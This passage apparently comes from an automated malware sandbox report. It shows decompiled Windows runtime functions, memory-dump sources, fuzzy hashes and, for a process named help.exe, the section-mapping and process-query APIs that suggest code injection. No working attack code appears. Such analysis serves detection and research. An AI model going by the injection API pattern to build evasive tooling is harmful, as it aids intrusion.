									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00B93F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E00B83915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00B65384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E00B3F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E00B83915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E00B3F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E00B83915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E00B3F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E00B83915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00B65329(_t74, _t92);
													_push(1);
													_t48 = E00B653A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x00b653ab
0x00b653ae
0x00b653b1
0x00b653b4
0x00b653b7
0x00b805b6
0x00b805c0
0x00b805c3
0x00000000
0x00b805c9
0x00b805c9
0x00b805cc
0x00b805d5
0x00b805d5
0x00b653bd
0x00b653bd
0x00b653bd
0x00b653be
0x00b653be
0x00b653be
0x00b653c0
0x00000000
0x00000000
0x00ba2269
0x00ba226d
0x00ba2349
0x00ba234d
0x00ba2273
0x00ba2276
0x00ba2279
0x00ba227e
0x00ba2283
0x00ba2287
0x00ba228a
0x00ba228d
0x00ba228f
0x00ba22bc
0x00ba22bc
0x00ba22bc
0x00ba22be
0x00ba22c4
0x00ba22cc
0x00ba22d0
0x00ba22d6
0x00ba22d7
0x00ba22da
0x00ba22df
0x00ba22e4
0x00000000
0x00000000
0x00ba22e6
0x00ba22e9
0x00ba22f4
0x00ba22f9
0x00ba22fa
0x00ba2305
0x00ba2314
0x00ba2319
0x00ba231a
0x00ba231d
0x00ba2320
0x00ba2323
0x00ba2323
0x00ba2328
0x00ba232d
0x00ba232f
0x00ba2331
0x00ba2336
0x00ba2336
0x00ba233b
0x00ba233d
0x00ba2350
0x00ba2351
0x00ba2356
0x00ba2359
0x00ba2359
0x00ba235b
0x00ba235d
0x00b65367
0x00b6536b
0x00b65372
0x00000000
0x00000000
0x00000000
0x00000000
0x00ba2363
0x00ba2363
0x00ba2369
0x00ba236a
0x00ba236c
0x00ba2371
0x00ba2373
0x00000000
0x00ba2379
0x00ba2379
0x00ba237a
0x00ba237f
0x00ba237f
0x00ba2385
0x00ba2386
0x00ba2389
0x00ba238e
0x00ba2390
0x00b65378
0x00b6537c
0x00ba2396
0x00ba2396
0x00ba2397
0x00ba239c
0x00ba23a2
0x00ba23a3
0x00ba23a6
0x00ba23ab
0x00ba23ad
0x00000000
0x00ba23b3
0x00ba23b3
0x00ba23b4
0x00ba23b9
0x00ba23ba
0x00ba23ba
0x00ba23bc
0x00ba23bf
0x00000000
0x00000000
0x00b99153
0x00b99158
0x00b9915a
0x00b9915e
0x00b99160
0x00000000
0x00b99166
0x00b99166
0x00b99171
0x00b99176
0x00b99176
0x00000000
0x00b99160
0x00ba23c6
0x00ba23cb
0x00ba23ce
0x00ba23d7
0x00ba23d7
0x00ba23ad
0x00ba2390
0x00ba2373
0x00ba233f
0x00ba233f
0x00000000
0x00ba233f
0x00ba2291
0x00ba2291
0x00ba2293
0x00ba2295
0x00ba229a
0x00ba22a1
0x00ba22a3
0x00ba22a7
0x00ba22a9
0x00000000
0x00000000
0x00ba22ab
0x00ba22ad
0x00ba22af
0x00000000
0x00000000
0x00000000
0x00ba22af
0x00ba22b1
0x00ba22b4
0x00ba22b4
0x00ba22b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00ba22b6
0x00ba228f
0x00000000
0x00ba226d
0x00b653cb
0x00b653ce
0x00b653d0
0x00b653d4
0x00b653d6
0x00000000
0x00b653d8
0x00b653e3
0x00b653ea
0x00b653ea
0x00b653d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BA22F4

Strings

RTL: Resource at %p, xrefs: 00BA230B
RTL: Re-Waiting, xrefs: 00BA2328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00BA22FC

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 04795226803d40a11de22a2c54467bed1ae3ea09657f8e4327f4ee2edc09ab4f
Instruction ID: 59c328a0296db1369822e90fe5bfe265a233080739f0c4cadaebcd71ab0620e8
Opcode Fuzzy Hash: 04795226803d40a11de22a2c54467bed1ae3ea09657f8e4327f4ee2edc09ab4f
Instruction Fuzzy Hash: 1E5128716007026BDF24EB28CC81FA673E8EF55B60F2042A9FD45DB281E665ED41C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B6EC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00B6EC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E00B5DA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0xc2793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E00B416C0(_t39);
				} else {
					_t40 = E00B3F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E00B83915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E00B401A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0xc2793c; // 0x0
								_push(_t85);
								_t44 = E00B41F28(_t71);
							} else {
								_t44 = E00B3F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E00B83915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E00BC2306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E00B6EC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E00B84FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E00B93F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E00B93F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0xc220c0;
								if(_t85 != 0xc220c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E00BC217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E00B93F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x00b6ec56
0x00b6ec56
0x00b6ec56
0x00b6ec5c
0x00b6ec64
0x00ba23e6
0x00ba23eb
0x00ba23eb
0x00b6ec6a
0x00b6ec6c
0x00b6ec6f
0x00ba23f3
0x00ba23f8
0x00ba23fa
0x00ba23fc
0x00b6ec75
0x00b6ec76
0x00b6ec76
0x00b6ec7b
0x00b6ec7c
0x00b6ec7e
0x00ba2406
0x00ba2407
0x00ba240c
0x00ba240d
0x00ba240d
0x00ba240d
0x00ba2414
0x00ba2417
0x00ba241e
0x00ba2435
0x00ba2438
0x00ba243c
0x00ba243f
0x00ba2442
0x00ba2443
0x00ba2446
0x00ba2449
0x00ba2453
0x00ba2455
0x00ba245b
0x00ba245b
0x00b6eb99
0x00b6eb99
0x00b6eb9c
0x00b6eb9d
0x00b6eb9f
0x00b6eba2
0x00ba2465
0x00ba246b
0x00ba246d
0x00b6eba8
0x00b6eba9
0x00b6eba9
0x00b6ebae
0x00b6ebb3
0x00b6ebb9
0x00b6ebbb
0x00ba2513
0x00ba2514
0x00ba2519
0x00ba251b
0x00b6ec2a
0x00b6ec2d
0x00b6ec33
0x00b6ec36
0x00b6ec3a
0x00b6ec3e
0x00b6ec40
0x00b6ec47
0x00b6ec47
0x00b6ec40
0x00b422c6
0x00b6ebc1
0x00b6ebc1
0x00b6ebc5
0x00b6ec9a
0x00b6ec9a
0x00b6ebd6
0x00b6ebd6
0x00000000
0x00b6ebbb
0x00ba2477
0x00ba247c
0x00ba2486
0x00ba248b
0x00ba2496
0x00ba249b
0x00ba249d
0x00ba24a0
0x00ba24a3
0x00ba24aa
0x00ba24aa
0x00ba24a5
0x00ba24a5
0x00ba24a5
0x00ba24ac
0x00ba24af
0x00ba24b0
0x00ba24b3
0x00ba24b9
0x00ba24ba
0x00ba24bb
0x00ba24c6
0x00ba24cb
0x00ba24cd
0x00ba24d0
0x00ba24d1
0x00ba24d4
0x00ba24d6
0x00ba24d9
0x00ba24d9
0x00ba24dc
0x00ba24df
0x00ba24e1
0x00ba24e7
0x00ba24e9
0x00ba24ec
0x00ba24ef
0x00ba24f2
0x00ba24f2
0x00ba24ef
0x00ba24e7
0x00ba24fa
0x00ba24ff
0x00ba2501
0x00ba2503
0x00ba2506
0x00ba250b
0x00b6eb8c
0x00b6eb93
0x00000000
0x00000000
0x00b6eb93
0x00000000
0x00b6eb99
0x00b6ec85
0x00b6ec85
0x00b6ec85
0x00000000

Strings

RTL: Re-Waiting, xrefs: 00BA24FA
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 00BA24BD
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 00BA248D

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: c88c6a3913eb58f4c8c219d573805429d47886b2237742f5fde63de770a327bc
Instruction ID: 8caa7a34571428725caaf516ab4cd1ad3a7d44c9cbfd2dca76bfe5f6739d8642
Opcode Fuzzy Hash: c88c6a3913eb58f4c8c219d573805429d47886b2237742f5fde63de770a327bc
Instruction Fuzzy Hash: 1641E570A04204AFDB24EB68CCC5F6A77E8EF49720F208695F6659B3D1D734EA41C761

Uniqueness

Uniqueness Score: -1.00%

Function 00B7FCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B7FCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E00B7EE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E00B7EE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E00B7685D(_t167, 4) == 0) {
								if(E00B7685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E00B7685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E00B7685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E00B58980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E00B4DFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E00B7EE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E00B7EE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x00b7fcd1
0x00b7fcd6
0x00b7fcd9
0x00b7fcdc
0x00b7fcdf
0x00b7fce2
0x00b7fce5
0x00b7fce8
0x00b7fceb
0x00b7fced
0x00b7fced
0x00b7fcf3
0x00000000
0x00000000
0x00b7fcfc
0x00b7fcfe
0x00b7fdc1
0x00baecbd
0x00000000
0x00baeccc
0x00baeccc
0x00baecd2
0x00000000
0x00000000
0x00baecdf
0x00baece0
0x00baece4
0x00baeceb
0x00baecee
0x00baeca8
0x00baeca8
0x00baecaa
0x00b7fd76
0x00b7fd79
0x00b7fdb4
0x00b7fdb5
0x00b7fdb6
0x00000000
0x00b7fdb6
0x00b7fd7e
0x00baecfc
0x00b7fe2f
0x00000000
0x00b7fe2f
0x00baed08
0x00baed0f
0x00baed17
0x00baed1b
0x00000000
0x00baed1b
0x00b7fd88
0x00000000
0x00000000
0x00b7fd94
0x00b7fd99
0x00b7fda1
0x00000000
0x00000000
0x00b7fdb0
0x00000000
0x00b7fdb0
0x00baecbd
0x00b7fdc7
0x00b7fdcb
0x00000000
0x00b7fdd7
0x00b7fde3
0x00b7fe06
0x00b91fe7
0x00000000
0x00000000
0x00b91fef
0x00b91ff0
0x00b91ff4
0x00b91ff7
0x00b91ffa
0x00b91ffd
0x00b92000
0x00000000
0x00000000
0x00baecf1
0x00000000
0x00baecf1
0x00000000
0x00b7fe06
0x00b7fde8
0x00b7fdec
0x00b7fdef
0x00b7fdf2
0x00000000
0x00b7fdf2
0x00b7fdcb
0x00b7fd04
0x00b7fd05
0x00baec67
0x00000000
0x00000000
0x00baec6f
0x00000000
0x00baec6f
0x00b7fd13
0x00b7fd3c
0x00b7fd40
0x00baec75
0x00baec7a
0x00000000
0x00baec8a
0x00baec8a
0x00baec90
0x00baecb2
0x00b7fd73
0x00b7fd73
0x00000000
0x00b7fd73
0x00baec95
0x00000000
0x00000000
0x00baeca1
0x00baeca4
0x00baeca5
0x00000000
0x00baeca5
0x00baec7a
0x00b7fd4a
0x00000000
0x00b7fd6e
0x00b7fd6e
0x00b7fd71
0x00000000
0x00b7fd71
0x00b7fd4a
0x00b7fd21
0x00b8a3a1
0x00000000
0x00b8a3a1
0x00b7fd36
0x00b9200b
0x00b92012
0x00000000
0x00000000
0x00b92018
0x00000000
0x00b92018
0x00000000
0x00b7fd36
0x00b7fe0f
0x00b7fe16
0x00b8a3ad
0x00000000
0x00000000
0x00b8a3b3
0x00b8a3b3
0x00b7fe1f
0x00baed25
0x00baed86
0x00000000
0x00000000
0x00baed91
0x00baed95
0x00baed95
0x00baed9a
0x00baedad
0x00baedb3
0x00baedba
0x00baedc4
0x00baedc9
0x00000000
0x00baedcc
0x00baed2a
0x00baed55
0x00000000
0x00000000
0x00baed61
0x00baed66
0x00baed6e
0x00000000
0x00000000
0x00baed7d
0x00000000
0x00baed7d
0x00baed30
0x00000000
0x00000000
0x00baed3c
0x00baed43
0x00baed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 00B7FD94

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: b10ae6383ec1f18518718b6ebb57ce6c9f72569b91cc4fc43e41503ed78a37c2
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: DD918D31D0420AEBDF24DF98C8456BEB7F4EF55314F20C4FAD469A6162E7309A81CB99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: help.exe PID: 2828 Parent PID: 1388 help.exeCOMMON

Executed Functions

Function 006C67C7, Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 487nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 006C691F

Strings

0, xrefs: 006C69A7

Memory Dump Source

Source File: 00000007.00000002.2375670093.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction ID: 14c7d92c65c9ff66bb070f6a0687282f7af136223924c81bab1043636efe2f97
Opcode Fuzzy Hash: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction Fuzzy Hash: FAF15F70618A8C8FDBA5EF68C895BEEB7E1FB98304F40462EE44AC7611DF349641CB45

Uniqueness

Uniqueness Score: -1.00%

Function 006C632E, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 006C6413
NtMapViewOfSection.NTDLL ref: 006C647F
NtClose.NTDLL ref: 006C6545

Strings

@, xrefs: 006C640B
RESCHIT, xrefs: 006C635D
@, xrefs: 006C648C

Memory Dump Source

Source File: 00000007.00000002.2375670093.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Similarity

API ID: Section$CloseCreateView
String ID: @$@$RESCHIT
API String ID: 1133238012-1982789714
Opcode ID: 23bbd423bda2d343ab6e972927e2050342c0f7742b38ed2ef85d626af141b225
Instruction ID: 479158f05650468ad0c575911d6c46d9b739a05669b19717d1a8ba24beacd029
Opcode Fuzzy Hash: 23bbd423bda2d343ab6e972927e2050342c0f7742b38ed2ef85d626af141b225
Instruction Fuzzy Hash: EA61B37021CB488FCB58EF58D885AAAB7E1FB98314F50062EF58AC3251DF35D441CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006C6332, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 171nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 006C6413
NtMapViewOfSection.NTDLL ref: 006C647F

Strings

@, xrefs: 006C640B
RESCHIT, xrefs: 006C635D
@, xrefs: 006C648C

Memory Dump Source

Source File: 00000007.00000002.2375670093.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Similarity

API ID: Section$CreateView
String ID: @$@$RESCHIT
API String ID: 1585966358-1982789714
Opcode ID: a1482434a0a88b71d013ed121938e84fd5f2c3cc8d37ffdd0bde3b1d9f6fd9a4
Instruction ID: 8db03178e002c9be9fa0f5c4949dcd952a7ab14f0603ffccfc9713fc6f14fc9f
Opcode Fuzzy Hash: a1482434a0a88b71d013ed121938e84fd5f2c3cc8d37ffdd0bde3b1d9f6fd9a4
Instruction Fuzzy Hash: 6E518E7061CB088FC758DF18D895AAABBE0FB88304F50462EF58AC3651DF35D441CB86

Uniqueness

Uniqueness Score: -1.00%

Function 006C67C2, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 006C691F

Strings

0, xrefs: 006C684D

Memory Dump Source

Source File: 00000007.00000002.2375670093.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction ID: 5eef95e5b91b1c76705de3cb27f51bb0a13387d73317227917660b93d6ff58f3
Opcode Fuzzy Hash: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction Fuzzy Hash: 33515F70918A8C8FDBA5EF68C884AEEB7F1FB98305F40422EE44AD7211DF349641CB41

Uniqueness

